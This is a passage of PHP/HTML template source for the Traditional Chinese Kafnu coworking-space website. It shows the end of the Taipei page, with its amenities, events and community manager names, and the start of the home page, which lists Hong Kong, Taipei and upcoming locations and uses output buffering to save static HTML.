<p class="title">多元化課程健身中心</p> </li> <li> <i class="tp-live-03"></i> <p class="title">生活合作夥伴會員優惠</p> </li> <li> <i class="tp-live-04"></i> <p class="title">Nespresso 咖啡</p> </li> <li> <i class="tp-live-05"></i> <p class="title">藝術品與裝置藝術展演</p> </li> <li> <i class="tp-live-06"></i> <p class="title">共享生活空間</p> </li> <li> <i class="tp-live-07"></i> <p class="title">簡易廚房設備</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-sm-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/work.jpg" data-image-tablet="images_cms/country_tp/work.jpg" data-image-mobile="images_cms/country_tp/work.jpg" alt=""> </div> </div> <div class="col-sm-12"> <div class="page-country-main-content-item-text"> <h5>工作</h5> <h6>啟發靈感的工作生態系</h6> <ul> <li> <i class="tp-work-01"></i> <p class="title">生態設計空間</p> </li> <li> <i class="tp-work-02"></i> <p class="title">高度可調式工作桌</p> </li> <li> <i class="tp-work-03"></i> <p class="title">事務機服務</p> </li> <li> <i class="tp-work-04"></i> <p class="title">設計風格會議室</p> </li> <li> <i class="tp-work-05"></i> <p class="title">隔音電話亭</p> </li> <li> <i class="tp-work-06"></i> <p class="title">自然採光環境</p> </li> <li> <i class="tp-work-07"></i> <p class="title">專業錄音室</p> </li> <li> <i class="tp-work-08"></i> <p class="title">多元化攝影綠幕房</p> </li> <li> <i class="tp-work-09"></i> <p class="title">可租用停車場</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-12"> <div class="two-col-image-container"> <div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country_tp/play-01.jpg" data-image-tablet="images_cms/country_tp/play-01.jpg" data-image-mobile="images_cms/country_tp/play-01.jpg" alt=""> </div><!-- --><div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country_tp/play-02.jpg" data-image-tablet="images_cms/country_tp/play-02.jpg" data-image-mobile="images_cms/country_tp/play-02.jpg" alt=""> </div> </div> </div><!-- --><div class="col-md-12"> <div class="page-country-main-content-item-text"> <h5>玩樂</h5> <!-- <h6>Lorem ipsum dolor sit amet, consectetur lorem adipiscing elit ipsum.</h6> --> <ul> <li> <i class="tp-play-01"></i> <p class="title">舒適的休閒設施</p> </li> <li> <i class="tp-play-02"></i> <p class="title">多元化課程健身中心</p> </li> <li> <i class="tp-play-03"></i> <p class="title">會員專屬活動</p> </li> <li> <i class="tp-play-04"></i> <p class="title">會員周間歡樂時光</p> </li> <li> <i class="tp-play-05"></i> <p class="title">K2 酒吧</p> </li> <li> <i class="tp-play-06"></i> <p class="title">頂樓露天活動場地</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/live.jpg" data-image-tablet="images_cms/country_tp/live.jpg" data-image-mobile="images_cms/country_tp/live.jpg" alt=""> </div> </div> <div class="col-md-12"> <div class="page-country-main-content-item-text"> <h5>學習</h5> <h6>不斷電的學習旅程</h6> <ul> <li> <i class="tp-learn-01"></i> <p class="title">活動及業師諮詢</p> </li> <li> <i class="tp-learn-02"></i> <p class="title">專家諮詢</p> </li> <li> <i class="tp-learn-03"></i> <p class="title">會員夥伴工具與優惠</p> </li> <li> <i class="tp-learn-04"></i> <p class="title">各類書刊與雜誌</p> </li> <li> <i class="tp-learn-03"></i> <p class="title">會員與社群經理交流分享</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-sm-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/rest.jpg" data-image-tablet="images_cms/country_tp/rest.jpg" data-image-mobile="images_cms/country_tp/rest.jpg" alt=""> </div> </div><!-- --><div class="col-sm-12"> <div class="page-country-main-content-item-text"> <h5>休憩</h5> <!-- <h6>Lorem ipsum dolor sit amet, cons ectetur adipiscing elit. Maecenas mollis lorem in enim finibus, icesac cumsan.</h6> --> <ul> <li> <i class="tp-rest-01"></i> <p class="title">休憩區和放鬆空間</p> </li> <li> <i class="tp-rest-02"></i> <p class="title">SPA 療程和生活合作夥伴會員優惠</p> </li> <li> <i class="tp-rest-03"></i> <p class="title">城市景觀</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> </div> </div> <!-- container-fluid --> </article> <article id="page-country-event-content-section-mobile" class="visible-sm visible-xs"> <div id="banner-sidebar-container-mobile" class="kafnu-slick-slider"> <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-01.jpg" data-image-tablet="images_cms/country_tp/event-slider-01.jpg" data-image-mobile="images_cms/country_tp/event-slider-01-mobile.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>邁向未來的願景擘畫</h5> <p>2017.10.12 - 06:30PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="-1" data-mobile-length="-1">Kafnu開幕活動將舉辦雞尾酒會與創意論壇,歡慶Kafnu正式營運。</p> </div> <!-- <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> --> </div><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-02.jpg" data-image-tablet="images_cms/country_tp/event-slider-02.jpg" data-image-mobile="images_cms/country_tp/event-slider-02.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>HICAP論壇歡迎酒會</h5> <p>2017.10.19 - 07:00PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="100" data-mobile-length="100">前來香港參加HICAP活動嗎? 歡迎參觀Kafnu全球第一個據點,並體驗我們精心準備的驚喜吧!</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-03.jpg" data-image-tablet="images_cms/country_tp/event-slider-03.jpg" data-image-mobile="images_cms/country_tp/event-slider-03.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>“未知領域”晚宴</h5> <p>2017.10.20 - 06:00PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="100" data-mobile-length="100">Kafnu作東,邀請你與HICAP參與者共同體驗香港最隱密的私房餐廳。</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-04.jpg" data-image-tablet="images_cms/country_tp/event-slider-04.jpg" data-image-mobile="images_cms/country_tp/event-slider-04.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>商務發展在台灣</h5> <p>2017.10.30 - 2017.11.03</p> <p class="minimize-text" data-length="-1" data-tablet-length="-1" data-mobile-length="-1">規劃為期一周的研討會,包含個別顧問諮詢時間,教你如何在台灣設立公司,與硬體大場合作,招募與人資規範,以及進出口相關規定。</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> </div> <!-- banner-sidebar-container --> </article> <article id="page-country-extra-content-section"> <div class="container-fluid reduce-padding"> <div class="page-country-extra-content-item taipei-version"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/community-manager.jpg" data-image-tablet="images_cms/country_tp/community-manager.jpg" data-image-mobile="images_cms/country_tp/community-manager.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h4>台北社群經理團隊</h4> <!-- <h4>justin lorem</h4> --> <p>Kafnu 台北社群經理團隊,擁有多元背景,充滿熱情活力。來 Kafnu 走走,和我們聊聊吧!</p> <ul> <li><span>Leo Chen</span></li> <li><span>Ron Chen </span></li> <li><span>Jenny Shen</span></li> <li><span>Roy Huang</span></li> <li><span>Skylar Yang</span></li> </ul> <ul> <li><span>Hong Wang</span></li> <li><span>Mimo Lee</span></li> <li><span>Evelyn Chen</span></li> <li><span>Simon Yu</span></li> <li><span>Jeff Liang</span></li> </ul> <ul> <li><span>Carol Chen</span></li> <li><span>Eva Yang</span></li> <li><span>Luca Lui</span></li> </ul> </div> <!-- page-country-main-content-item-text --> <div class="page-country-main-content-item-cta-container"> <a href="community.html" class="square-cta border-white-version">了解更多</a> </div> </div> </div> <!-- row --> </div> <!-- page-country-extra-content-item --> </div> </article> <article id="page-default-connect-with-world-section" class="country-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <h4 data-wow-offset="50" class="">與 Kafnu 台北一起聯繫世界</h4> <!-- <ul class="social-media-links-container"> <li data-wow-offset="150" class=""><a href="#"><i class="fa fa-instagram" aria-hidden="true"></i></a></li> <li data-wow-offset="250" class=""><a href="#"><i class="fa fa-facebook" aria-hidden="true"></i></a></li> </ul> --> </div> </div> </div> </article> <article id="page-default-social-media-masonry-section"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-md-12 no-padding"> <div id="default-masonry-grid-container" class="hidden-xs hidden-sm"> <div class="grid"> <div class="grid-sizer"></div> <div data-wow-offset="80" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="85" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="90" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="95" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="60" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="75" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="100" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="105" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-05.jpg" alt=""> </div> </a> </div> <div data-wow-offset="65" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="120" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="140" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-06.jpg" alt=""> </div> </a> </div> <div data-wow-offset="145" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-06.jpg" alt=""> </div> </a> </div> </div> <!-- grid --> </div> <!-- default-masonry-grid-container --> <div id="default-grid-container-mobile" class="visible-xs visible-sm"> <div class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container video-version"> <img src="" data-image-desktop="images_cms/home/fb-video-thumb-01.jpg" data-image-tablet="images_cms/home/fb-video-thumb-01.jpg" data-image-mobile="images_cms/home/fb-video-thumb-01.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook color-version"> <div class="grid-item-text-container"> <h5>Bill - Company of Dreamers</h5> <p>Bill Black, ex-hotelier and Director at Next Story Group...</p> </div> </a> </div> <div class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" data-image-tablet="images_cms/home/in-image-thumb-02.jpg" data-image-mobile="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" data-image-tablet="images_cms/home/in-image-thumb-03.jpg" data-image-mobile="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> </div> </div> </div> <!-- row --> </div> </article> <!-- page-home-social-media-masonry-section --> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script_country.php" ?> </body> </html> <?php // saving captured output to file file_put_contents('kafnutp.html', ob_get_contents()); // end buffering and displaying page ob_end_flush(); ?>``` index.php ```<?php ob_start(); ?> <?php global $current_page; $current_page = "page-home"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <!-- home-expand-header-version --> <!-- only the home page has the class home-expand-header-version by default --> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> <div id="page-home-nav-trigger"></div> <!-- ____ _ _ _ _ _ _____ ____ | __ ) / \ | \ | | \ | | ____| _ \ | _ \ / _ \ | \| | \| | _| | |_) | | |_) / ___ \| |\ | |\ | |___| _ < |____/_/ \_\_| \_|_| \_|_____|_| \_\ --> <article id="page-default-banner-section" class=""> <div id="page-default-banner-image" class="visible-lg visible-md"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/home-banner.jpg"> </div> </div> <div id="page-default-banner-image-mobile" class="visible-sm visible-xs"> <div class="manic-image-container has-window-height"> <img src="" data-image-tablet="images_cms/home/home-banner.jpg" data-image-mobile="images_cms/home/home-banner.jpg"> </div> </div> <!-- <div id="page-default-banner-video"> --> <!-- <video playsinline autoplay muted loop poster="images_cms/home/home-banner.jpg" id="page-default-banner-bgvid"> <source src="videos_cms/home/home-banner-bg-vid.mp4" type="video/mp4"> </video> --> <!-- </div> --> <div id="page-default-banner-copy-container" class="left-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-6"> <div id="page-default-banner-copy"> <h1>為創業者與創意人打造之<br class="hidden-xs">全新工作生態系</h1> <h3>社群/空間/創客平台</h3> <!-- <h5></h5> --> <a href="kafnuhk.html" class="square-cta border-version">Kafnu Hong Kong 現已開幕. 了解更多.</a> </div> <!-- page-default-banner-copy --> </div> </div> </div> </div> <!-- page-default-banner-copy-container --> </article> <!-- page-default-banner-section --> <article id="page-home-boxes-section"> <div class="container-fluid reduce-padding"> <div class="row"> <div data-wow-offset="50" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item"> <h4>生活</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_LIVE.jpg" data-image-tablet="images_cms/home/Home_LIVE.jpg" data-image-mobile="images_cms/home/live-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_LIVE_Black.jpg" data-image-tablet="images_cms/home/Home_LIVE_Black.jpg" data-image-mobile="images_cms/home/Home_LIVE_Black.jpg" alt=""> </div> <div class="overlay-content live"> <div class="text-container"> <p>當工作與生活已密不可分,維持生活品質就必須提高效率同時兼顧平衡。Kafnu 為會員規劃完善空間,建立社群支援,提供實體、思維與社群需求皆能滿足之全方位創客平台。</p> </div> <div class="cta-container"> <a href="live.html" class="plus-icon"></a> </div> </div> </div> </div> <div data-wow-offset="100" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item"> <h4>工作</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_WORK.jpg" data-image-tablet="images_cms/home/Home_WORK.jpg" data-image-mobile="images_cms/home/work-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_WORK_Black.jpg" data-image-tablet="images_cms/home/Home_WORK_Black.jpg" data-image-mobile="images_cms/home/Home_WORK_Black.jpg" alt=""> </div> <div class="overlay-content work"> <div class="text-container"> <p>放眼城市中各種共享空間,在 Kafnu 你將體驗前所未有的嶄新模式。</p> </div> <div class="cta-container"> <a href="work.html" class="plus-icon"></a> </div> </div> </div> </div> <div data-wow-offset="150" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item"> <h4>玩樂</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_PLAY.jpg" data-image-tablet="images_cms/home/Home_PLAY.jpg" data-image-mobile="images_cms/home/play-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_PLAY_Black.jpg" data-image-tablet="images_cms/home/Home_PLAY_Black.jpg" data-image-mobile="images_cms/home/Home_PLAY_Black.jpg" alt=""> </div> <div class="overlay-content play"> <div class="text-container"> <p>玩樂帶來精采創意。Kafnu 期待你能輕鬆享受玩樂。放下手機吧!游個泳、去慢跑、唱首歌或去畫畫…總之,打破自己的界線吧!</p> </div> <div class="cta-container"> <a href="play.html" class="plus-icon"></a> </div> </div> </div> </div> </div> <!-- row --> <div class="row"> <div data-wow-offset="50" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item"> <h4>學習</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_LEARN.jpg" data-image-tablet="images_cms/home/Home_LEARN.jpg" data-image-mobile="images_cms/home/learn-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_LEARN_Black.jpg" data-image-tablet="images_cms/home/Home_LEARN_Black.jpg" data-image-mobile="images_cms/home/Home_LEARN_Black.jpg" alt=""> </div> <div class="overlay-content learn"> <div class="text-container"> <p>在這裡,學習成為一種日常。你能參與各種創新領域活動、加入豐富而深刻的對談、更能與帶來靈感的人們相遇。Kafnu 將給你不斷電的學習旅程。</p> </div> <div class="cta-container"> <a href="learn.html" class="plus-icon"></a> </div> </div> </div> </div> <div data-wow-offset="100" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item"> <h4>休憩</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_REST.jpg" data-image-tablet="images_cms/home/Home_REST.jpg" data-image-mobile="images_cms/home/rest-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_REST_Black.jpg" data-image-tablet="images_cms/home/Home_REST_Black.jpg" data-image-mobile="images_cms/home/Home_REST_Black.jpg" alt=""> </div> <div class="overlay-content rest"> <div class="text-container"> <p>這是一個能讓你完全舒展開的空間。從休憩艙到躺椅,還有讓你小睡或凝視天際線的角落,你都能在 Kafnu 找到!</p> </div> <div class="cta-container"> <a href="rest.html" class="plus-icon"></a> </div> </div> </div> </div> <div data-wow-offset="150" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item last-version"> <h4>社群</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_COMMUNITY.jpg" data-image-tablet="images_cms/home/Home_COMMUNITY.jpg" data-image-mobile="images_cms/home/our-community-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_COMMUNITY_Black.jpg" data-image-tablet="images_cms/home/Home_COMMUNITY_Black.jpg" data-image-mobile="images_cms/home/Home_COMMUNITY_Black.jpg" alt=""> </div> <div class="overlay-content community"> <div class="text-container"> <p>「challenge the ordinary」這個終極任 務,號召了Kafnu 的社群經理們。而無論你是程式設計師、主廚、會計師、設計師、雜耍演員、拼命三郎,或者暫時沒有明確的定位,我們都歡迎你加入Kafnu。</p> </div> <div class="cta-container"> <a href="community.html" class="plus-icon"></a> </div> </div> </div> </div> </div> <!-- row --> <div class="row"> <div data-wow-offset="50" class="col-md-8 no-padding wow fadeInUp"> <div class="scroll-target" data-value="location"></div> <div id="home-box-slider" class="kafnu-slick-slider"> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_HK_Location1.jpg" data-image-tablet="images_cms/home/Home_HK_Location1.jpg" data-image-mobile="images_cms/home/Home_HK_Location1.jpg" alt=""> </div> </div> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_HK_Location2.jpg" data-image-tablet="images_cms/home/Home_HK_Location2.jpg" data-image-mobile="images_cms/home/Home_HK_Location2.jpg" alt=""> </div> </div> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_HK_Location3.jpg" data-image-tablet="images_cms/home/Home_HK_Location3.jpg" data-image-mobile="images_cms/home/Home_HK_Location3.jpg" alt=""> </div> </div> </div> </div> <div data-wow-offset="100" class="col-md-4 no-padding wow fadeInUp"> <div class="home-box-item text-version color-version"> <div class="text-container"> <h2>Kafnu 香港</h2> <p><b>位在紅磡中心,維多利亞港邊,充滿動力的社群空間</b></p> </div> <div class="cta-container"> <a href="kafnuhk.html" class="plus-icon"></a> </div> </div> </div> </div> <!-- row --> <div class="row"> <div data-wow-offset="50" class="col-md-8 no-padding wow fadeInUp"> <div id="home-box-slider-02" class="kafnu-slick-slider"> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_TP_Location1.jpg" data-image-tablet="images_cms/home/Home_TP_Location1.jpg" data-image-mobile="images_cms/home/Home_TP_Location1.jpg" alt=""> </div> </div> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_TP_Location2.jpg" data-image-tablet="images_cms/home/Home_TP_Location2.jpg" data-image-mobile="images_cms/home/Home_TP_Location2.jpg" alt=""> </div> </div> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_TP_Location3.jpg" data-image-tablet="images_cms/home/Home_TP_Location3.jpg" data-image-mobile="images_cms/home/Home_TP_Location3.jpg" alt=""> </div> </div> </div> </div> <div data-wow-offset="100" class="col-md-4 no-padding wow fadeInUp"> <div class="home-box-item text-version"> <div class="text-container"> <h2>Kafnu 台北</h2> <p><b>位在科技、媒體與設計交叉路口的垂直部落。即將開業。</b></p> </div> <div class="cta-container"> <a href="kafnutp.html" class="plus-icon"></a> </div> </div> </div> </div> <!-- row --> <div id="home-box-items-container" class="hidden-xs hidden-sm"> <div class="row"> <div class="home-box-item-column"> <div class="col-md-4 no-padding"> <div class="home-box-item text-version-02 no-link-version"> <div class="overlay-bg"></div> <div class="text-container"> <h4>Kafnu <br class="visible-xs">班加羅爾</h4> <h6>2018 即將開業</h6> </div> <!-- <div class="cta-container"> <a href="#" class="plus-icon"></a> </div> --> </div> </div> </div> <div class="home-box-item-column"> <div class="col-md-4 no-padding"> <div class="home-box-item text-version-02 no-link-version"> <div class="overlay-bg"></div> <div class="text-container"> <h4>Kafnu <br class="visible-xs">科倫坡</h4> <h6>2018 即將開業</h6> </div> <!-- <div class="cta-container"> <a href="#" class="plus-icon"></a> </div> --> </div> </div> </div> <div class="home-box-item-column"> <div class="col-md-4 no-padding"> <div class="home-box-item text-version-02 no-link-version"> <div class="overlay-bg"></div> <div class="text-container"> <h4>Kafnu <br class="visible-xs">胡志明市</h4> <h6>2018 即將開業</h6> </div> <!-- <div class="cta-container"> <a href="#" class="plus-icon"></a> </div> --> </div> </div> </div> </div> <!-- row --> <div class="row"> <div class="home-box-item-column last-row-version"> <div class="col-md-4 no-padding"> <div class="home-box-item text-version-02 no-link-version"> <div class="overlay-bg"></div> <div class="text-container"> <h4>Kafnu <br class="visible-xs">墨爾本</h4> <h6>2018 即將開業</h6> </div> <!-- <div class="cta-container"> <a href="#" class="plus-icon"></a> </div> --> </div> </div> </div> <div class="home-box-item-column last-row-version"> <div class="col-md-4 no-padding"> <div class="home-box-item text-version-02 no-link-version"> <div class="overlay-bg"></div> <div class="text-container"> <h4>Kafnu <br class="visible-xs">雪梨</h4> <h6>2018 即將開業</h6> </div> <!-- <div class="cta-container"> <a href="#" class="plus-icon"></a> </div> --> </div> </div> </div> <div class="home-box-item-column coming-soon-version"> <div class="col-md-4 no-padding"> <div class="home-box-item text-version-02 no-link-version coming-soon"> <div class="overlay-bg"></div> <div class="text-container"> <h4>即將來臨</h4> <!-- <h6>Coming soon</h6> --> </div> <!-- <div class="cta-container"> <a href="#" class="plus-icon"></a> </div> --> </div> </div> </div> </div> <!-- row --> </div> <!-- home-box-items-container --> <div id="home-box-items-wrapper-mobile" class="visible-xs visible-sm"> <div id="home-box-items-container-mobile-toggle"> <div class="row"> <div class="col-sm-12 no-padding"> <h4>2018 即將 <br class="visible-xs">開業</h4> <div class="cta-container"> <a href="#" class="dropdown-arrow-icon up-icon"></a> </div> </div> </div> </div> <div id="home-box-items-container-mobile"> <div class="row no-margin"> <div class="home-box-item-column no-link-version"> <div class="col-sm-12 no-padding"> <div class="home-box-item text-version-02 no-link-version"> <!-- <div class="manic-image-container overlay-bg-mobile"> <img src="" data-image-mobile="images_cms/home/hong-kong-box-bg-mobile.jpg" alt=""> </div> --> <div class="text-container"> <h4>Kafnu <br class="visible-xs">班加羅爾</h4> </div> </div> </div> </div> <div class="home-box-item-column no-link-version"> <div class="col-sm-12 no-padding"> <div class="home-box-item text-version-02 no-link-version"> <!-- <div class="manic-image-container overlay-bg-mobile"> <img src="" data-image-mobile="images_cms/home/taipei-box-bg-mobile.jpg" alt=""> </div> --> <div class="text-container"> <h4>Kafnu <br class="visible-xs">科倫坡</h4> </div> </div> </div> </div> <div class="home-box-item-column no-link-version"> <div class="col-sm-12 no-padding"> <div class="home-box-item text-version-02 no-link-version"> <!-- <div class="manic-image-container overlay-bg-mobile"> <img src="" data-image-mobile="images_cms/home/melbourne-box-bg-mobile.jpg" alt=""> </div> --> <div class="text-container"> <h4>Kafnu <br class="visible-xs">胡志明市</h4> </div> </div> </div> </div> <div class="home-box-item-column no-link-version"> <div class="col-sm-12 no-padding"> <div class="home-box-item text-version-02 no-link-version"> <!-- <div class="manic-image-container overlay-bg-mobile"> <img src="" data-image-mobile="images_cms/home/singapore-box-bg-mobile.jpg" alt=""> </div> --> <div class="text-container"> <h4>Kafnu <br class="visible-xs">墨爾本</h4> </div> </div> </div> </div> <div class="home-box-item-column no-link-version"> <div class="col-sm-12 no-padding"> <div class="home-box-item text-version-02 no-link-version"> <!-- <div class="manic-image-container overlay-bg-mobile"> <img src="" data-image-mobile="images_cms/home/seoul-box-bg-mobile.jpg" alt=""> </div> --> <div class="text-container"> <h4>Kafnu <br class="visible-xs">悉尼</h4> </div> </div> </div> </div> </div> <!-- row --> </div> <!-- home-box-items-container-mobile --> </div> </div> </article> <!-- page-home-whatwedo-section --> <article id="page-default-connect-with-world-section"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <h4 data-wow-offset="50" class="wow fadeInUp">Kafnu:實體、思維與社群需求皆能滿足之全方位創客平台</h4> <p data-wow-offset="100" class="wow fadeInUp">Kafnu 是一個由全亞太地區的創意人、科技從業者、設計師、藝術家…等等所組成的社群網絡,我們歡迎每一位期待挑戰平凡的你,來成為Kafnu 的會員。無論你身在本地或到其他有Kafnu 